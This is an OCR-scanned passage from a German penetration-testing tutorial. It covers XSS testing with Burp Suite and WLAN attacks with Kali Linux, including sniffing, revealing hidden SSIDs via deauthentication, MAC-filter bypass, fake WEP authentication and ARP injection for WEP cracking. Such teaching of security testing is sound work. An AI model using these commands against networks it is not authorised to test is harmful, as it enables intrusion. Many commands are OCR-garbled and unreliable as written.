tion. Auch fir Administratoren ist es essentiell, dass man derlel Konfigurations-
schwachen aufdeckt und dann behebt. Fehlkonfigurationen der Sicherheitseinstel-
lungen konnen dabei auf allen Ebenen des Applikation-Stacks vorkommen, also
auf Webservern, Anwendungsservern, Datenbanken und darauf aufsetzende Web-
Applikationen.

Hin und wieder sind es exakt diese Unsauberkeiten, die es Hacker einfach machen,
an bestimmte Daten zu gelangen oder Authentifizierungsmechanismen zu umge-
hen. Auch fur das Aufdecken solcher Schwéchen ist die Burp Suite bestens geeig-
net.

Bestimmen Sie zunéchst das Ziel und wechseln Sie nach dem Mapping zur Regis-
terkarte Site map. Markieren Sie das Verzeichnis, das Sie priifen wollen und fihren
Sie den Befehl Spider from here aus.

Wechseln Sie dann zur Registerkarte Target und dort zum Unterregister Site map.
Von Interesse sind inbesondere Verzeichnis wie Includes, in denen Sie beispiels-
wei se .htaccess- oder anwendungsspezifische Dateien finden kdnnen.
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5.7.4 Cross Site Scripting-Attacken mit Burp

Web-Applikationen sind héufig fir Cross-Site-Scripting-Attacken anféllig. Darun-
ter versteht man das Ausnutzen von Schwachstellen bei Web-Anwendungen, in-
dem Informationen aus einem Kontext, in dem sie nicht vertrauenswirdig sind, in
einen anderen Kontext eingefligt werden, wo sie dann a's vertrauenswirdig einge-
stuft werden. Aus diesem vertrauenswirdigen Kontext kann dann ein Angriff ge-
startet werden.

Mit der EinfUhrung und weiten Verbreitung von JavaScript-Frameworks wie No-
dejs, Backbone,js etc., stellen X SS-Attacken eine permanente Bedrohung fir Ihre
Anwendung dar.

i Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

[ Spider I Target T Prox I Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer IEx‘lend

_[ Extensions T BApp Store ]ET Options ]

Extensions let you customize Burp's behavior using your own or third-party code.
L Add | |Loaded | Type | Name

E4] Jlava XS5 Validator Payloads
Remove |

Up |
Down |

_[ Details T Output T Errors ]

] Extension loaded

Name: | XSS Validator Payloads

[ tem | Detai

Extension type Java

Filename C:\UsersiholgenDownloads'xssValidator jar
Method registerExtenderCallbacks

HTTP listeners 1

Intruder payload generators 1

Intruder payload processors \

Die Validierungserweiterungist in Burp registriert.
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In Verbindung mit PhantomJS (http://phantomjs.org) kdnnen Sie mit der Burp
Suite diese Attacken schnell und unkompliziert identifizieren. Laden Sie sich dazu
das PhantomJS-Java-Archiv herunter und fiuhren Sie dieses aus. Der PhantomJS-
Server hort standardmélRig auf 127.0.0.1:8093. Die vorkompilierte Version steht
unter folgender URL zur Verfigung:

htt ps: //ww. dr opbox. cont s/ f kuxovnhckj 3908/ xssVal i dator.j ar

Zunéchst missen Sie den Zusatz in Burp installieren. Dazu 6ffnen Sie die Regis-
terkarte Extender, klicken auf die Schaltflache Add, wéahlen die JAR-Datei aus und
registrieren diese in der Burp Suite.

l Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

[ Spiderl ITarg&t. I Prox I ;Scanner TlntruderT ﬁep&at&r I Sequ&ncerl I Decod

Target | Positions | Payloads I Options ]
)

“ou can define one or more payload sets. The number of payioad sets depends

Payload =et: | 1 "'J Payload count: unknown

Payload type: | Extension-generated 'J Request count: unknown

This paylead type invokes a Burp extension to generate payleads.
Selected generator: XSS Validator Payloads

| Select generator .. |

Eine Attacke mit dem XXS Validierungs-Payload wird vorbereitet.

Als Néchstes legen Sie im Intruder eine neue Angriffskonfiguration an. Hier wéh-
len Sie auf dem Unterregister Payloads unter Payload type den Eintrag Extension-
generated. Wahlen Sie auf3erdem den XX S-Generator aus.
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Klicken Sie dann unter Payload Processing auf Add und wahlen Sie im Auswahl-
menil Invoke Burp Extension den Eintrag XSS Validator processor. Bestétigen Sie
mit OK.

Der néchste Schritt dient der Bestimmung der Payload-Position. Dann wechseln
Sie zu den Payload-Optionen und legen im Bereich Grep — Match eine beliebige
Zeichenfolge an, die beim erfolgreichen Ausl6sen einer X X S-Attacke zuriickgege-
ben wird.

Starten Sie dann den PhantomJS-Server, indem Sie in dem Download- bzw. Abla-
geverzeichnis den Befehl phantomjs xss.js ausfiihren. Mit der Burp Suite initiieren
Sie als Nachstes den Angriff. Sie kénnen anhand der Rickgabe der Anwendung
priifen, ob die Attacke erfolgreich war.

Diese vier Beipiele zeigen sehr schon, wie flexibel und leistungsfahig die Burp
Suite beim Testen von Web-Applikationen ist. In Sachen Web Application Securi-
ty Scanner fulhrt insbesondere fur Einsteiger kein Weg an diesem Werkzeug vorbei.

www.brain-media.de



WLAN-Sicherheit prifen 107

6  WLAN-Sicherheit prifen

Drahtlose Netzwerke gehtren heute zu jeder modernen IT-Infrastruktur und sind
aus unserem Alltag kaum mehr wegzudenken. Man findet sie nicht nur im privaten
und &ffentlichen Raum, sondern immer haufiger auch in Unternehmen, wenngleich
man gerade dort — wo immer moglich — auf kabelgebundene Verbindungen setzen
sollte, um die Zahl der Angriffspunkte zu minimieren.

Das Prablem fur Unternehmen und Administratoren, die fur die Sicherheit einer
Umgebung zusténdig sind, ist der Umstand, dass Angreifer keinen physikalischen
Zugang zu einem Netzwerk besitzen missen, sondern in Wardriver-Manier sich
um die Ecke verstecken und dort ihr Unwesen treiben kénnen.

Im Folgenden zeige ich Ihnen, wie Sie mit Kali Linux einfach und ohne grof3en
Staub aufzuwirbeln ein drahtloses Netzwerk auf Schwachstellen tberpriifen und
diese ausnutzen kénnen. Wir gehen davon aus, dass Sie bereits Uber einen WLAN
Access Point verfiigen, den Sie als Angriffsziel verwenden wollen und dirfen. Zu
Testzwecken ist es alerdings ratsam, einen eigenen Test-Access-Point anzulegen
und diesen dann mit Kali Linux zu attackieren.

reot kall: ~

Jater Pearszzen Arsicat Sucher lTzrminzl itz

Das Prifen auf verfugbare WLAN im Umfeld.
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Es wird Sie nicht weiter verwundern, dass Kali Linux auch in Sachen WLAN-
Tools bestens ausgestattet ist. In der Regel kann das Linux-Betriebssystem den
WLAN-Adapter |hres Notebooks zuverlassig identifizieren und konfigurieren. Das
koénnen Sie leicht prifen, indem Sie in der rechten oberen Ecke auf das Balken-
diagrammsymbol klicken. Mit einem Klick rufen Sie den Dialog auf, der Ihnen die
in Ihrer Nahe verfligbaren drahtlosen Netzwerke auff ihrt.

Um weitere Details wie die MAC-Adresse, ESSID, Verschlisselung, Kanal etc.
abzurufen greifen Sie zur Konsole. Mit folgendem Befehl kénnen Sie jede Menge
Details zu den verfligbaren WLANSs in Ihrer Umgebung abrufen:

iwist wlan0 scanning

Da Access Points die gleiche SSID besitzen kdnnen, missen Sie die MAC-
Adresse, die im Address-Feld ausgegeben wird, verifizieren. Da Sie als Admini-
strator Zugang zur Access Point-Konfiguration haben, kénnen Sie das |eicht tun.

Fihren Sie als Néchstes die beiden folgenden Befehle aus, um den Status des Ac-
cess Points zu prifen. Wir verwenden im Folgenden den Access Point Brain-
Media. Sie kdnnen die Bezeichnung entsprechend anpassen:

iwconfig wlanO essid “Brain- Media“

iwconfig w an0

Da wir nun wissen, dass das Management-Interface des WLAN-Access Points die
IP-Adresse 192.168.2.1 besitzt, weisen wir dem Notebook die IP-Adresse des
gleichen Subnetzes zu:

ifconfig w an0 192. 168. 2. 20 net nask 255. 255. 255. 0 up

Prifen Sie die Konfiguration anhand der Ausgabe des folgenden Befehls:
ifconfig w an0

Nun haben Sie den WLAN-Adapter des Penetration-Notebooks dem Subnetz des
Access Points zugeordnet und kénnen als Nachstes mit Ping prifen, ob der Access
Point erreichbar ist:

ping 192.168.2.1
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Erganzend kdnnen Sie mit dem Befehl arp -a prifen, ob das Signal auch tatsich-
lich von dem Accesss Point ssammt. Im Protokoll des Access Points kénnen Sie
dann prifen, ob eine Verbindung zum Notebook zum Access Point hergestellt
wurde.

6.1 Unsicherheiten in WLANS

Um zu verstehen, wie WLANS angreifbar sind, muss man sich ein wenig mit der
Art befassen, wie WLAN-Kommunikation funktioniert. In drahtlosen Netzwerken
erfolgt die Kommunikation Uber sogenannte Frames. Dabei gibt es drei zentrale
Frame-Typen:

Management Frames: Diese sind fir die Verwaltung der Kommunikai-
ton zustandig, also die Authentifizierung, Request und Responses etc.

Control Frames: Diese Frames steuern die Kommunikation und sorgen
fir einen sauberen Datenaustausch zwischen Access Points und WLAN-
Clients.

Data Frames. In diesen Frames sind die eigentlichen Daten, also die
Nutzlast enthalten, die tber die drahtlose Verbindung Ubermittelt werden.

Mit Werkzeugen wie Wireshark, ein Sniffer, der ebenfalls in Kali Linux enthalten
ist, kann man diese Frames sichtbar machen. Dazu missen Sie zundchst den soge-
nannten Promiscuous Mode auf dem Penetration-Notebook aktivieren. In diesem
Modus liest der WLAN-Adapter den gesamten ankommenden Datenverkehr an die
in diesen Modus geschaltete Netzwerkschnittstelle mit und gibt die Daten zur Ver-
arbeitung an das Betriebssystem weiter. Wir verwenden auf3erdem einen weiteren
Modus: den Monitormodus. Bei diesem Modus werden im Gegensatz zum Promis-
cuous Mode alle empfangenen Frames weitergeleitet, nicht nur die des Netzwerks,
mit dem der Client momentan verbunden ist. Sie kdnnen den aktuellen Modus
einfach mit folgendem Befehl abrufen:

iwconfig

Um das Notebook nun in den Monitormodus zu versetzen, greifen wir zu einem
weiteren Tool, dasin Kali Linux integriert ist: airmon-ng. Mit diesem Kommando
kénnen Sie auch prifen, welche WLAN-Adaptrer in lhrem Notebook verfligbar
sind. Doch der Reihe nach. Priifen Sie zunéchst, ob der WLAN-Adapter korrekt
installiert und vom System erkannt wird:
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ifconfig

Dann fuhren Sie folgenden Befehl aus:
ifconfig w an0O up

Um den Adapter in den Monitormodus zu versetzen, fihren Sie folgenden Befehl

aus:

ai r mon- ng

Dann folgenden Befehl:

airmon-ng start w anl

Sie kénnen mehrere Monitormodi auf einem identischen Netzwerkadapter ausfih-
ren. Damit haben wir zwei Schnittstellen angelegt, von denen eine sich im Moni-
tormodus befindet. Starten Sie als Nachstes mit dem Meniibefehl Anwendungen >
Kali Linux > Sniffing & Spoofing > Netzwerksniffer > Wireshark den beliebten

Open Source-Sniffer.

Fir Fet Woew Geo Capturs Analyze Stebetes Telepaeny Teals  Intereals —eip

POANL ST XC v s T3 EE

Liltar ¥ LWOression..

Wireshark: Capture Interfaces

il Diescription F Tackets Tac<ats/s
# wlarl 152.168.2 104
) Interf:J 1@l ofag
® ory T
fhaansi L T 127.mad
i Start
Hil'w Coauis sualizlien
Lhooses 1
|
i wlzn0 P i tasson el of examnple vaplu e [ les ur Lig
Zlritag
iy
L e
Reacy to .cad or capture Mo Pacsats Frofile: Defzalt

Die Wir eshar k-Sniffer in Aktion.
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Um mit den Sniffer Daten aufzeichnen zu kénnen, missen Sie zunéchst die Auf-
zeichnungsschnittstellen konfigurieren. Dazu fuhren Sie den Mentbefehl Capture
> Interfaces aus. Im Dialog Capture Interface wéhlen Sie die Schnittstelle aus,
Uber die der drahtlose Traffic lauft. Klicken Sie anschlief3end auf Start. Anschlie-
l3end sollten Sie im Hauptfenster von Wireshark die Aufzeichnung der ersten Da-
tenpakete verfolgen kdnnen.

Capturing from wlanC [Wircshark 1.10.2 (SVN Rev 51934 from Arunk-1.19)] = IL-0
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1 24 bytes an wire (560 bital, /4 by-es ecaprured | -5l an ~nTecface 0 .
+ Bthermet II, Src: LiteonTe £b:228:4d [74:de:Zh:ch:28:4d), =: FuswesTe lh:ff:8k (s2£:99:27:1k:ff:8k)
+ Inlernel Prolocol Yersion 4, Sro; 182,168,2.164 [152.168,2,16€4), Cso; 182,168.2.1 (192.168.2.1)
i
+

Lmar Datagran Protocel, Sre Port: S3415 584100, Da- Fors: dora-n (5050

Donain Mame Systen [query]

a1
~EE B BC 25 66 28

Pacews 2369 Displayed 2369 (1C0 D) Frofile: Defaull
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Der erstedrahtlose Traffic wurde mit Wireshark aufgezeichnet.

Das Hauptfenster von Wireshark erlaubt 1hnen das Sortieren der Nachrichten nach
Quell- und Zieladresse sowie nach Protokollen. Dazu klicken Sie einfach auf den
entsprechenden Kopf. Uber den Filter konnen Sie die Ansicht auf die Informatio-
nen beschranken, die gerade fir Sie von Interesse sind. Um die Ansicht auf den
WLAN-Traffic zu beschrénken, geben Sie einfach wian in das Eingabefeld Filter
ein. Die Ansicht wird automatisch in der sogenannten Paketliste eingeschrankt.
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Die Detailseiner Aufzeichnung. In der Mittedie
Paketdetails, darunter dieder Rohdatenansicht.

Wenn Sie sich fur bestimmte Details des WLAN-Traffics interessieren, 6ffnen Sie
in den Paketdetails den Eintrag Wireless LAN management frame. In der darunter-
liegenden sogenannten Rohdatenansicht kdnnen Sie nun die eigentlichen Inhalte
einsehen. Uber Filter kommen Sie wie bereits erwahnt recht schnell ans Ziel. Sie
kénnen einfach eine Zeichenfolge wie password verwenden und landen schon bei
dem Frame, der fiir die Passwortlibermittlung zustandig ist.

Anhand zweier smpler Beispiele mdchte ich Thnen zeigen, wie einfach und effek-
tiv die Verwendung von Wireshark und den Kali Linux-Tools beim Aufdecken von
Schwachstellen und der Traffic-Analyseist.

Bel der Suche nach Schwachstellen und Verwundbarkeiten interessiert uns insbe-
sondere der Traffic, der nicht verschltisselt ist, weil man diesem am ehesten inter-
essante | nformationen entlocken kann.

Dazu missen Sie zundchst herausfinden, auf welchem Kana der Access Point
lauft. Dasist einfach:

ai rodunp-ng --bssid <mac> non0 where <mac>
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Dieser Befehl gibt Ihnen schnell den Kanal aus. Als Néchstes kénnen Sie den Traf-
fic auf diesem Kanal beschranken:

W an. bssid == <mac>

Wichtig ist, dass Sie dabei die korrekte MAC-Adresse des Access Points angeben.
Das Besondere an Wirshark sind die vielfaltigen Filtermdglichkeiten, die das Prog-
ramm bietet. Durch die Kombination von Filteroptionen kénnen Sie die Ansicht
gezielt einschranken.

Wenn Sie sich nur fur den Traffic fir Ihren Access Point interessieren, so ergénzen
Sie obige Suchoption wie folgt:

(W an. bssid == <mac>) && (W an.fc.type_subtype == 0x20)

Nun kénnen Sie mit einem Browser das Web-Interface des Access Points 6ffnen.
In Wireshark werden dann nur die unverschllisselten Daten angezeigt.

Fur das Aufdecken von Schwachstellen in drahtlosen Netzwerken sind alle Infor-
mationen Uber das Zielsystem relevant, die Sie sammeln kénnen. WLANS operie-
ren Ublicherweise auf zwei Frequenzbereichen:

2,4 GHz
5.0GHz

Nicht jeder WLAN-Adapter unterstiitzt al diese Frequenzbereiche. Aktuell dirften
nach wie vor 2,4 GHz Acceess Points die Landschaft bestimmen.

Aber ein weiterer interessanter Punkt in diesem Zusammenhang ist der Umstand,
dass jedes Frequenzband mehrere Kanédle verwendet. Wie bei einen herkdmmli-
chen Radioempfanger kommt dabei allerdings nur ein Kanal zum Einsatz. Das ist
fur das Sniffen von WLAN-Verbindungen wichtig, denn wir kénnen nicht alle
Kanél e gleichzeitig schniffen, also den Traffic aufzeichnen.

Sendet der fur uns interessante Access Point auf Kanal 1, so muss man auch die
WLAN-Konfiguration des Penetration-Notebooks entsprechend konfigurieren. Um
die Adapterkonfiguration zu optimieren, rufen Sie zunéchst seine Eigenschaften
ab:

iwconfig w an0
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root@kali: ~

Datei 3Searbeten Ansicht Suchen Terminal Hilfe

Point: A

Fragment thr:off

1vall
Mis

Die Details des Access Points.

Obiger Ausgabe kénnen Sie entnehmen, dass der Access Point den Standard |EEE
802.11bgn auf dem Frequenzband 2,4 GHz nutzt. Sie kénnen lhren WLAN-
Adapter nun so konfigurieren, dass dieser einen bestimmten Kanal verwendet:

iwconfig w an0 channel x

Dabei ersetzen Sie das kleine x durch einen Wert, beispielsweise 10 oder 11.
Schon ist die Verwendung auf diesen Kanal beschrankt.

Doch leider endet die Komplexitéat der WLAN-Technologie nicht an dieser Stelle.
Vielmehr verwendet jedes Land bzw. jeder Kontinent sein eigenes Spektrum. Das
erschwert die Suchen nach Schwachstellen unter Umsténden zusétzlich. Sie kon-
nen in der Protokolldatel /var/log/messages in der Regel erkennen, welche Lénder-
konfiguration zum Einsatz kommt. Dazu suchen Sie in der Protokolldatei den
WLAN-Eintrag und prufen diesen. Um die deutsche Landereinstellung zu setzen,
verwenden Sie folgenden Befehl:

iwreg set DE

Damit sind Sie mit den wichtigsten WLAN-Funktionalitdten vertraut, die Kali
Linux zu bieten hat.
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6.2 WLAN-Authentifizierung umgehen

WLANS verwenden Ublicherweise eine Authentifizierung, Uber die sich WLAN-
Clients Zugang zu einem Netzwerk verschaffen. Doch diese Mechanismen sind
oftmals nicht mehr als ein Semi-Schutz und nicht selten leicht zu umgehen.

6.2.1 Versteckte WLANSs aufsplren

In der Standardkonfiguration senden alle Access Points Ihre SSID im sogenannten
Beacon Frame. Der Beacon Frame ist einer der Management-Frames von |EEE
802.11-basierten WLANS. Er enthélt alle wichtigen Informationen Uber das Netz-
werk. Die Beacon Frames werden kontinuierlich versendet, um die Existenz eines
WLANS anzuzeigen.

Nur Clients, die die SSID kennen, kénnen sich mit einem solchen Netzwerk ver-
binden. Leider bietet diese Technik weit weniger Schutz, als die meisten Anwender
und Administratoren vermuten. Auch versteckte SSIDs bieten nur einen bedingten
Schutz.
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Die Aufzeichnung der Beacon-Framesin Wireshark.
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Wenn Sie mit Wireshark den drahtlosen Traffic aufzeichnen, so kdnnen Sie die
SSID den Aufzeichnungen als Rohtext entnehmen. Wie Sie obiger Abbildung
entnehmen konnen, kann Wireshark die WLAN-Pakete und insbesondere die Bea-
con Frames sehr schon aufzeichnen und fiir Sie sichtbar machen.

-I- == A A Deutsch Engli

WLAN-Grundeinatellungen Grundeinstellungen zum WLAN
WILAN-Zugriff verwalten o WLAN im 2 4-GHz-Frequenzband einschallen
Heimnet K {(LAN 1 X :
canneleweri) ! o WLAN im 5-GHz-Frequerzband einschalten Was ist WLAN?

Helower kspeicher
~ Name und Verschlisselung

24-GHz-Frequenzband

WLAN-Name (2210) Brain-Mzdia
Slchtbarkelt WLAN-1ame sichipar

® Lngichtbar

Was bedeutet -:ieg;)cht-: arkeit des WL AN-Namens?

Das Unsichtbar machen einesWLANS.

Alle mir bekannten WLAN-Router bieten die Mdglichkeit, den WLAN Access
Point unsichtbar zu machen. Das verspricht einen gewissen Schutz, weil sie nicht
auf den ersten Blick erkennbar sind und sich sozusagen hinter den sichtbaren dra-
losen Netzwerken verstecken.

Versetzen Sie dazu lhren Access Point in den Unsichtbar-Modus. Bel einem
Speedport-Router erfolgt diese Einstellung in den WLAN-Grundeinstellungen.
Wenn Sie nun den Traffic mit Wireshark analysieren, stellen Sie fest, dass die
SSID im Beacon Frame verschwunden ist.

Um nun doch an eine versteckte SSID zu gelangen, umgehen wir mit einem klei-
nen Trick das Beacon Frame und nutzen eine passive Technik fir die Legitimie-
rung des Clients am Access Point. Suchen Sie in Ihren Aufzeichnungen nach ei-
nem Probe Response-Eintrag und &ffnen Sie dort die SSID-Parameter.

Wenn Sie nun einen entsprechenden Paketeintrag unter die Lupe nehmen und des-
sen SSID-Informationen 6ffnen, werden Sie feststellen, dass Sie dort die ID wieder
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finden. Somit ist es recht einfach, versteckte WLANSs aufzuspiiren, die auf den
ersten Blick nicht sichtbar sind.

Alternativ konnen Sie auch mit aireplay-ng ein Deauthentifizierungspaket an ale
potenziellen Access Points senden:

aireplay-ng -0 5 -a <mac> --ignore-negative w an0

Dabei ersetzen Sie <mac> durch die MAC-Adresse des Routers. Die Option -0
fuhrt die Deauthentifizierungsattacke aus, der Wert 5 bestimmt die Anzahl der
Deauthentifizierungspakete. Mit der Option -a zeigen Sie an, dass die folgende
Adresse die des Access Pointsist.

:8F) on channel 1

FidBFER 0B
1B:FF:8
1B:FF:8

147 :1B:FF:8
47 1B FF:8

Der Einsatz von aireplay-ng.

Dieser Befehl fuihrt dazu, dass alle legitimierten Client-Verbindungen unterbrochen
und wieder aufgebaut werden. Zeichnen Sie diese Aktionen mit Wireshark auf.
Uns interessieren als Néchstes die Deauthentifizierungs-Pakete. Begrenzen Sie die
Ansicht in Wireshark auf diese Pakete.

Wenn Sie sich nun wieder mit Wireshark die Probe Respones anschauen, wird dort
in den SSID-K noten die aufgedeckte Access Point-Bezeichnung aufgefiihrt.
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6.2.2 MAC-Filter aushebeln

Die Verwendung von MAC-Filtern ist eine eher antiquierte Authentifizierungs-
maoglichkeit, aber in vielen Unternehmen nach wie vor anzutreffen. Sie hat ihre
Wurzeln in der kabelgebundenen Netzwerktechnik und hat sich mit dem Aufkom-
men der WLAN-Technik auch in die drahtlose Kommunikation gerettet; ist dort
aber aufgrund des mangel haften Schutzes nahezu unbrauchbar.

Die Authentifizierung der Clients am Access Point erfolgt auf der Grundlage der
Client-MAC-Adresse. Auf Seiten des drahtlosen Zugangspunktes wird eine Liste
der zuldssigen MAC-Adressen verwaltet.

Geratename

MAC-Adresse - - -loo |- .

Abbrechen Speichern

Liste aktualisieren
Weitere Gerite
Gerat = Anschluss =

[ Keine Eintrage vorhanden

» Name und Adresse des Routers

VWozu bendtige ich Mame und Adresse des Routers?
Mame des Routers im LAN: Speedport W 724V Typ A
MAC-Adresse (LAM). Ad:99:471B:FF.EB Was ist das?

Die Verwaltung der Zugange
auf Basisder MAC-Adresse.

Alle handelstiblichen WLAN-Router bieten die Mglichkeit, eigene Zugangslisten
anzulegen. Das kann automatisch mit einer bestehenden Zugangskennung oder
manuell erfolgen. Nachdem Sie die MAC-Filterung aktiviert haben, kdnnen sich
nur noch die Clients beim Access Point anmelden, die im Router hinterlegt sind.
Verbindungen aller anderen Clients werden abgelehnt. Misslingt die Anmeldung,
so gibt der Router eine Fehlermeldung zuriick, die Sie wieder in Wireshark mit-
schneiden kénnen.

www.brain-media.de



WLAN-Authentifizierung umgehen 119

Aber Sie kénnen mit Hilfe eines kleinen Tools herausfinden, welche MAC-
Adressen eine Verbindung zu dem Router herstellen kénnen. Dazu greifen Sie zu
airodump-ng. Um konkret herauszufinden, welche MAC-Adressen auf Kanal 10
bei der angegebenen BSSID von dem Router akzeptiert werden, fihren Sie folgen-
den Befehl aus:

ai rodunp-ng-c 10 -a --bssid <mac> w an0

Der Access Point gibt eine Liste der gultigen MAC-Adresse aus. Damit wissen Sie,
welche sich Zugang zu dem Netzwerk verschaffen kénnen.

Alles, was Sie jetzt noch tun missen, ist die MAC des eigenen Penetration-
Systems zu &ndern. Auch hierfir stellt Thnen Kali Linux wieder das geeignete
Werkzeug zur Verfligung: macchanger. Fahren Sie zunéchst den WLAN-Adapter
herunter:

i fconfig w an0 down

Dann éndern Sie mit macchanger die Belegung:
macchanger -m 11:22: 33:44:55:66 w an0

Das Tool gibt die permanente, die aktuelle und die neue MAC-Adresse aus. An-
hand der Ausgabe kdnnen Sie direkt erkennen, dass der Client nun die gewtinschte
MAC-Adresse besitzt. Nun machen Sie die Probe auf’s Exempel: Voila, Sie sind
drin!

6.2.3 Schlusselauthentifizierung umgehen

Die mit Abstand haufigste Art der Authentifizierung eines WLAN-Clients an ei-
nem Access Point ist die Verwendung eines WEP- oder eines WPA-Schliissels.
Dabei sendet der Client zundchst eine Authentifizierungsanfrage an den Zugangs-
punkt, der mit einer Challenge antwortet. Der Client sendet dann die Antwort zu-
riick und der Access Point gibt ein OK oder eine Fehlermeldung zuriick.

Das Problem fir den Netzwerkadministrator ist dabel, dass ein potenzieller Angrei-
fer in aller Ruhe den Authentifizierungsablauf zwischen WLAN-Client und Access
Point abhdren und auswerten kann.

Das Grundprinzip der schliisselbasierten Authentifizierung kénnen Sie am besten
nachvollziehen, wenn Sie versuchen, eine WEP-basierte Sicherung zu knacken.
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Die WEP-Nachfolger WPA und WPA?2 sind deutlich schwieriger zu knacken, aber
das Grundprinzip ist &hnlich.

WLAN-Name (S510) Brain-Media
Sichtbarkeit WLAN-Mame ® sichtbar
unsichtbar
Verschlisselungsart WPAZ (sehr sicher)
WPA2 (sehr sicher)
Worin untersch

WPA | WPAZ (sicher)

WLAN-Schllssel WPA (sicher)

WEP (wenig sicher)

* Unverschlisselt (nicht empfohlen)

Abbrechen Speichern

Zu Testzwecken aktivieren Sie die WEP-Ver schliisselung.

Um einen WEP-basierten Schutz zu knacken, aktivieren Sie auf Seiten des Access
Points die WEP-Unterstiitzung und legen die dafiir notwendige Passwortphrase an.
Stellen Sie as Nachstes eine Verbindung zwischen dem Client und Access Point
her.

Mit Wireshark zeichnen Sie nur die Verbindung zwischen beiden auf. Auf3erdem
protokollieren wir den gesamten Authentifizierungsaustausch. Hierfirr greifen wir
wieder zu airodump-ng. Fiihren Sie dazu folgenden Befehl aus:

ai rodunp-ng wan0 -¢c 10 --bssid <mac> -w keystream

Die Option -w sorgt dafurr, dass die Aufzeichnung in einer Datei mit dem Préafix
keystream gesichert wird. Eine typische Bezeichnng lautet wie folgt:

keystream 01- 02- 1234- Al- B2- 34. xor.

Um die Schltsselauthentifizierung zu faken, greifen wir wieder zu Aireplay-ng.
Fuhren Sie folgenden Befehl aus:

aireplay-ng -1 0 -e "WAN' -y keystream 01-02-1234- Al- B2-
34. xor -a <mac> -h AA: AAI AA: AAT AA: AA Wl an0
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Das Tool aireplay-ng verwendet den Keystream und versucht sich an der Authenti-
fizierung an dem Access Point mit der SSID WLAN. Starten Sie nun Wireshark und
begrenzen Sie die Ansicht auf die MAC-Adresse:

W an. addr == AA: AA: AA: AA: AA: AA

Anhand der Info Authentication kdnnen Sie im gefilterten Traffic entnehmen, dass
es sich bel dem ersten Eintrag um den Authentifizierungs-Request von aireplay-ng
handelt.

Das zweite Paket enthélt die Antwort des Access Points mit dem Challenge Text
an den Client. Das dritte Paket enthalt schliefdlich die verschiiisselte Anwort des
Clients.

Das aireplay-ng-Tool verwendet die Keystream-Aufzeichnung fir die Entschl lisse-
lung. Im Idealfall gelingt die Authentifizierung und der Access Point gibt eine
Erfolgsmeldung aus. Nachdem die Authentifizierung erfolgreich abgeschlossen ist,
stellt das Tool die gefakte Verbindung her.

Abschlieflend kénnen Sie dann in der Protokolldatel des WLAN-Routers das Zu-
standekommen einer Verbindung mit der MAC-Adresse AA:AA:AA AAAA:AA
finden. Das ist unser WLAN-Client mit der Kali Linux-Installation. Der entspre-
chende Rechnereintrag in der Protokolldatel lautet einfach Kali.

6.3 Verschlisselungslicken ausnutzen

Jeder wie auch immer geartete Sicherheitsmechansimus kann noch so sorgsam
entworfen sein: Er wird spétestens bel der Implementierung Liicken und Schwach-
stellen aufweisen. WEP wurde Anfang 2000 zur Sicherung von drahtlosen Verbin-
dungen eingefuihrt. Doch schnell war klar, dass dieser Schutz nicht ausreichte und
so wurden WPA und WPA?2 entwickelt.

Die fundamentale Schwéche von WEP ist die Verwendung von RC4. Mit den
Tools der aircrack-ng-Suite (airmon-ng, aireplay-ng, airodump-ng und aircrack-ng)
ist es heute einfach, diesen Schutz zu knacken. Dazu gehen Sie in der Praxis wie
folgt vor:

1. Aktivieren Sie zunéchst auf dem Access Point die WEP-Verwendung.
Dort haben Sie die Mdglichkeit, die Passphrase mit einem 64- oder 128
Bit-Schlussel zu verschliisseln. Nach dem Sichern steht die WEP-
gesicherte Verbindung zur Verfligung.
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Verschlisselungsart WEP (wenig sicher)

Waorin unterscheiden sich die Verschlisselungsarien?

L Wenn Sie WEP als Verschlisselungsart speichern, [3sst sich das WLAN
im 5-GHz-Frequenzband nicht nutzen. Der Ubertragungsmodus fiir das
WLAMN im 2 4-GHz-Frequenzband wird auf 802.11b+802.11g gedndert.

Lange des WLAN-Schllssels ® 128 bit (26 Zeichen)
G4 bit (10 Zeichen, weniger sicher)

WLAM-Schlussel geheim
(Lange 26 Zeichen, hexadezimal}

Wo verwende ich den WLAN-Schlissel?

Abbrechen Speiche{g

Die WEP-K onfiguration auf einem Access Point.

2. Dann fuhren Sie folgende Kommandos aus, um das Knacken der WEP-

4.

Schliissel mit Ihrem Penetrationsystem vorzubereiten:
ifconfig w an0 up

airnmon-ng start w an0

Mit dem iwconfig-Befehl kdnnen Sie verifizieren, dass sich die Schnitt-
stelle im Monitoringmodus befindet.

Der ndchste Schritt dient dem Ermitteln der drathlosen Netzwerke in I hrer
Nahe:

ai rodunp-ng nmon0

Auf der Konsole werden die erkannten drahtlosen Netzwerke ausgeben,
dazu jede Menge Details wie die MAC-Adresse, die verwendeten Kandle
und nicht minder wichtig: das Verschllsselungsverfahren. Wie Sie nach-
stehender Abbildung entnehmen kdnnen, wird dort das Netzwerk Brain-
Media mit WEP gesichert.
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raot@kali:

Mate  Rearaecen Arscat Sucher Tesminzl  Hilfe

airodump hat jede Menge drahtlose Netzwerkeim Umfeld er mittelt.

5. Da wir uns nur fir den Traffic des WLANSs Brain-Media interessieren,
schranken wir die Darstellung ein:

ai rodunp-ng --bssid A4:99:47: 1B: FF: 8F --channel 11 --
write Brain-Media non0O

Bei der Eingabe des Befehls miissen Sie darauf achten, dass Ihnen keine
Tippfehler unterlaufen, denn sonst erhalten Sie eine Fehlermeldung.

roat@kall: =
Usta Uearbeiten Arsicht Suchen lecrura.  |ilte

. wlan@mon: 19

Die Beschrankung der Darstellung.
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Die oben verwendete --write-Option schreibt den Traffic in eine CAP-
Datei, welche die SSID des Access Points als Dateiname verwendet. In
diesem Beispiel wie die Datel Brain-Media-01.cap erzeugt. Airodump-ng
erzeugt eine CSV-Datel, in der die Aufzeichnungen festgehalten werden.
Das kdnnen Sie einfach mit dem Kommando Is abrufen.

root@kali: ~

Datei Bearbeiten Ansicht Suchen Terminal Hilfe

Brain-Media-01.kismet .netxml
data

Die Aufzeichnungen.

Fur das Knacken der WEP-Sicherung benétigen wir in der Aufzeichnung
moglichst viele Datenpakete. Mit der MAC-Adresse und der Station-
Nummer, die Sie einfach mit dem Befehl airodump monO abrufen, inje-
zieren wir als Néchstes einen ARP-Request in das Netzwerk. Dazu fuhren
Sie folgenden Befehl aus:

airodunp-ng -3 -b A4:99:47: 1B: FF: 8F -h

11: 22: 33: 44: 55: 66

Kurz darauf sollten die ARP-Pakete auf der Konsole ausgegeben werden.
